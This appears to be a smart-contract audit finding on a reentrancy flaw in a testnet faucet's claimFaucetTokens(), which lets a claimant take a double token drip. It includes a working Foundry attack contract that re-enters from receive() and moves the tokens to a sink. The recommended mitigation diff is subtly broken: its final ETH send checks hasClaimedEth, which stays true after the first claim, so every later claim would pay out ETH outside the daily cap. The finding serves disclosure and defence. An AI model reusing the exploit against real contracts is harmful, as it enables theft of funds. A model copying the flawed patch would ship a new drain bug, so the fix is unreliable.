Description
-
RaiseBoxFaucet.claimFaucetTokens() should allow a user (once every 3 days) to claim exactly one faucetDrip of tokens, and—only for the first claim—to receive a Sepolia ETH drip. Cooldown and daily counters are intended to prevent multiple claims in quick succession.
-
The function performs a low‑level ETH call to the claimant before finalizing state updates (lastClaimTime and dailyClaimCount) and without a reentrancy guard. This lets a claimant contract reenter claimFaucetTokens() from its receive() and claim a second token drip in the same transaction, bypassing the cooldown.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) { revert RaiseBoxFaucet_EthTransferFailed(); }
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood: High
-
Whenever a first‑time claimant calls the faucet, the contract sends ETH before it updates the cooldown timestamp and daily counters, creating a reentrancy window via the recipient’s receive()/fallback.
-
The reentered call executes with the old state, so the claimant passes cooldown and daily checks and receives a second token drip in the same transaction.
Impact: High
-
Cooldown bypass: Users can obtain two token drips in the same tx despite the “every 3 days” rule, breaking per‑user rate limiting and fairness.
-
Accelerated depletion: Faucet tokens are consumed twice as fast per first‑time claim; coordinated bots can drain liquidity faster and skew distribution.
Proof of Concept
pragma solidity ^0.8.30;
import {Test} from "../lib/lib/forge-std/src/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
import {DeployRaiseboxContract} from "../script/DeployRaiseBoxFaucet.s.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public reenters;
address public tokenSink;
constructor(RaiseBoxFaucet _faucet, address _sink) {
faucet = _faucet;
tokenSink = _sink;
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (reenters == 0) {
reenters = 1;
faucet.claimFaucetTokens();
}
}
function drainTokens() external {
require(tokenSink != address(0), "no token sink");
uint256 balance = faucet.balanceOf(address(this));
require(balance > 0, "no tokens to drain");
faucet.transfer(tokenSink, balance);
}
}
contract TestPocReent is Test {
RaiseBoxFaucet raiseBoxFaucet;
DeployRaiseboxContract raiseBoxDeployer;
address attacker = address(0xBEEF);
ReentrancyAttacker attackerContract;
function setUp() public {
raiseBoxDeployer = new DeployRaiseboxContract();
raiseBoxDeployer.run();
raiseBoxFaucet = raiseBoxDeployer.raiseBox();
vm.deal(address(raiseBoxFaucet), 10 ether);
vm.prank(attacker);
attackerContract = new ReentrancyAttacker(
raiseBoxFaucet,
attacker
);
vm.warp(3 days);
}
function testDoubleTokenDripIsPossibleWithAttack() public {
uint256 initialAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attackerContract)
);
assertEq(
initialAttackerTokenBalance,
0,
"attacker should start with 0 test tokens"
);
vm.prank(attacker);
attackerContract.attack();
uint256 finalAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attackerContract)
);
assertEq(
finalAttackerTokenBalance,
2 * raiseBoxFaucet.faucetDrip(),
"attacker should have received double amount of test tokens"
);
}
function testDoubleTokenDripFailsWithoutAttack() public {
uint256 initialAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attacker)
);
assertEq(
initialAttackerTokenBalance,
0,
"attacker should start with 0 test tokens"
);
vm.startPrank(attacker);
raiseBoxFaucet.claimFaucetTokens();
vm.expectRevert();
raiseBoxFaucet.claimFaucetTokens();
vm.stopPrank();
uint256 finalAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attacker)
);
assertEq(
finalAttackerTokenBalance,
raiseBoxFaucet.faucetDrip(),
"attacker should have received normal amount of test tokens"
);
}
}
Recommended Mitigation
Apply Checks‑Effects‑Interactions strictly and add a reentrancy guard. Also use a local claimer variable rather than a mutable state variable.
- contract RaiseBoxFaucet is ERC20, Ownable {
+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
- faucetClaimer = msg.sender;
+ function claimFaucetTokens() public nonReentrant {
+ address claimer = msg.sender;
// ... cooldown & limit checks ...
- if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ if (!hasClaimedEth[claimer] && !sepEthDripsPaused) {
// day rollover logic unchanged
- if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[faucetClaimer] = true;
- dailyDrips += sepEthAmountToDrip;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (!success) { revert RaiseBoxFaucet_EthTransferFailed(); }
- }
+ if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
+ // EFFECTS FIRST
+ hasClaimedEth[claimer] = true;
+ dailyDrips += sepEthAmountToDrip;
+ }
} else {
dailyDrips = 0;
}
// EFFECTS: finalize cooldown and counters BEFORE any external calls
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
+ uint256 today = block.timestamp / 1 days;
+ if (today > lastFaucetDripDay) {
+ lastFaucetDripDay = today;
dailyClaimCount = 0;
}
- lastClaimTime[faucetClaimer] = block.timestamp;
+ lastClaimTime[claimer] = block.timestamp;
dailyClaimCount++;
// Interactions
- _transfer(address(this), faucetClaimer, faucetDrip);
- emit Claimed(msg.sender, faucetDrip);
+ _transfer(address(this), claimer, faucetDrip);
+ emit Claimed(claimer, faucetDrip);
+ // ETH transfer AFTER effects (still guarded by nonReentrant)
+ if (!sepEthDripsPaused && hasClaimedEth[claimer] && address(this).balance >= sepEthAmountToDrip) {
+ (bool success,) = claimer.call{value: sepEthAmountToDrip}("");
+ if (!success) { revert RaiseBoxFaucet_EthTransferFailed(); }
+ emit SepEthDripped(claimer, sepEthAmountToDrip);
+ }
}